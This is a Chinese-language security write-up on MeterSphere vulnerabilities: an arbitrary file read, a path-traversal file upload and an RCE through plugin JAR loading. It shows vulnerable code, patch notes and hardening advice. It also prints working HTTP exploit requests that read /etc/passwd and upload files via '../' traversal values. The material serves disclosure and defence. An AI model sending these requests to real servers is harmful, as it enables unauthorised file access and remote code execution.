Metersphere项目安全漏洞概览
字数 1335 2025-08-07 08:22:15

MeterSphere 安全漏洞分析与防护指南

1. 项目背景

MeterSphere 是一站式开源持续测试平台,主要功能包括:

  • 测试跟踪
  • 接口测试
  • 性能测试
  • 团队协作

技术架构:

  • 基于 Spring Boot + Shiro 进行路由和权限控制
  • 兼容 JMeter 等开源标准
  • 使用 Shiro 框架进行权限控制

认证配置:

  • 主要配置在 io.metersphere.config.ShiroConfigio.metersphere.commons.utils.ShiroUtils
  • 默认所有路由都需要经过 apikeycsrfauthc 三个过滤器

2. 历史漏洞分析

2.1 CVE-2021-45789 - 任意文件读取漏洞

影响版本:1.15.4 及之前版本

漏洞原理

  • 漏洞位于 io.metersphere.api.service.ApiAutomationService.loadFileAsBytes 方法
  • 未对文件路径进行过滤,直接拼接用户输入的 idname 参数
  • 攻击者可构造恶意路径读取任意文件

关键代码

public byte[] loadFileAsBytes(FileOperationRequest fileOperationRequest) {
    File file = new File(FileUtils.BODY_FILE_DIR + "/" + 
        fileOperationRequest.getId() + "_" + fileOperationRequest.getName());
    // 直接读取文件内容...
}

利用方式

POST /api/automation/file/download HTTP/1.1
Host: host.com
Content-Type: application/json

{
    "id": "",
    "name": ".etc/passwd"
}

修复方案

  • 在文件路径中禁止 / 字符出现
  • 补丁 commit: 18c62d91f8e0

2.2 CVE-2021-45790 - 任意文件上传漏洞

影响版本:1.15.4 及之前版本

漏洞原理

  • 漏洞位于 io.metersphere.service.ResourceService.mdUpload 方法
  • 未对上传文件名和路径进行过滤
  • 攻击者可通过路径穿越上传任意文件

关键代码

public void mdUpload(MdUploadRequest request, MultipartFile file) {
    FileUtils.uploadFile(file, FileUtils.MD_IMAGE_DIR, 
        request.getId() + "_" + request.getFileName());
}

利用方式

POST /resource/md/upload HTTP/1.1
Host: host.com
Content-Type: multipart/form-data;boundary=xxx

--xxx
Content-Disposition: form-data;name="file"; fileName="test"
Content-Type: image/jpeg

123
--xxx
Content-Disposition: form-data;name="request"; fileName="xxx"
Content-Type: application/json

{
    "id": "../",
    "fileName": "../../tmp/test"
}
--xxx--

修复方案

  • 移除了 /resource/md/upload 路由的匿名访问权限

2.3 远程代码执行漏洞

影响版本:1.16.3 及之前版本

漏洞原理

  1. 通过 /plugin/add 路由上传恶意 JAR 文件
  2. 系统使用 URLClassLoader 加载恶意 JAR
  3. 通过 /plugin/customMethod 路由实例化并执行恶意类

攻击链分析

  1. 上传 JAR 文件:
@PostMapping("/add")
public String create(@RequestPart(value = "file", required = false) MultipartFile file) {
    return pluginService.editPlugin(file);
}
  1. 加载 JAR 文件:
private void loadJar(String jarPath) {
    // 使用反射调用 URLClassLoader.addURL 方法
    method.invoke(classLoader, url);
}
  1. 实例化并执行恶意类:
public Object customMethod(PluginRequest request) {
    Class<?> clazz = Class.forName(request.getEntry());
    Object instance = clazz.newInstance();
    Object pluginObj = clazz.getDeclaredMethod("customMethod", String.class)
        .invoke(instance, request.getRequest());
    return pluginObj;
}

修复方案

  • 移除了 /plugin/ 路径的匿名访问权限
  • 补丁 commit: 相关修复

3. 安全建议

  1. 及时更新

    • 确保使用最新版本的 MeterSphere
    • 特别关注 1.16.4 及之后版本
  2. 权限控制

    • 严格限制匿名访问权限
    • 对上传功能实施严格的权限控制
  3. 输入验证

    • 对所有用户输入进行严格过滤
    • 特别防范路径穿越攻击
  4. 文件操作安全

    • 限制文件操作的范围
    • 对上传文件进行严格的内容检查
  5. 代码执行防护

    • 避免动态加载不可信的代码
    • 对反射调用进行严格限制

4. 总结

MeterSphere 作为一款开源测试平台,在快速发展过程中暴露了一些安全问题,主要包括:

  • 任意文件读取
  • 任意文件上传
  • 远程代码执行

这些问题大多源于对用户输入缺乏充分验证和权限控制不足。通过分析这些漏洞,我们可以学习到在开发类似系统时应注意的安全要点,特别是在文件操作、权限控制和动态代码加载等方面需要格外谨慎。

MeterSphere 安全漏洞分析与防护指南 1. 项目背景 MeterSphere 是一站式开源持续测试平台,主要功能包括: 测试跟踪 接口测试 性能测试 团队协作 技术架构: 基于 Spring Boot + Shiro 进行路由和权限控制 兼容 JMeter 等开源标准 使用 Shiro 框架进行权限控制 认证配置: 主要配置在 io.metersphere.config.ShiroConfig 和 io.metersphere.commons.utils.ShiroUtils 默认所有路由都需要经过 apikey 、 csrf 、 authc 三个过滤器 2. 历史漏洞分析 2.1 CVE-2021-45789 - 任意文件读取漏洞 影响版本 :1.15.4 及之前版本 漏洞原理 : 漏洞位于 io.metersphere.api.service.ApiAutomationService.loadFileAsBytes 方法 未对文件路径进行过滤,直接拼接用户输入的 id 和 name 参数 攻击者可构造恶意路径读取任意文件 关键代码 : 利用方式 : 修复方案 : 在文件路径中禁止 / 字符出现 补丁 commit: 18c62d91f8e0 2.2 CVE-2021-45790 - 任意文件上传漏洞 影响版本 :1.15.4 及之前版本 漏洞原理 : 漏洞位于 io.metersphere.service.ResourceService.mdUpload 方法 未对上传文件名和路径进行过滤 攻击者可通过路径穿越上传任意文件 关键代码 : 利用方式 : 修复方案 : 移除了 /resource/md/upload 路由的匿名访问权限 2.3 远程代码执行漏洞 影响版本 :1.16.3 及之前版本 漏洞原理 : 通过 /plugin/add 路由上传恶意 JAR 文件 系统使用 URLClassLoader 加载恶意 JAR 通过 /plugin/customMethod 路由实例化并执行恶意类 攻击链分析 : 上传 JAR 文件: 加载 JAR 文件: 实例化并执行恶意类: 修复方案 : 移除了 /plugin/ 路径的匿名访问权限 补丁 commit: 相关修复 3. 安全建议 及时更新 : 确保使用最新版本的 MeterSphere 特别关注 1.16.4 及之后版本 权限控制 : 严格限制匿名访问权限 对上传功能实施严格的权限控制 输入验证 : 对所有用户输入进行严格过滤 特别防范路径穿越攻击 文件操作安全 : 限制文件操作的范围 对上传文件进行严格的内容检查 代码执行防护 : 避免动态加载不可信的代码 对反射调用进行严格限制 4. 总结 MeterSphere 作为一款开源测试平台,在快速发展过程中暴露了一些安全问题,主要包括: 任意文件读取 任意文件上传 远程代码执行 这些问题大多源于对用户输入缺乏充分验证和权限控制不足。通过分析这些漏洞,我们可以学习到在开发类似系统时应注意的安全要点,特别是在文件操作、权限控制和动态代码加载等方面需要格外谨慎。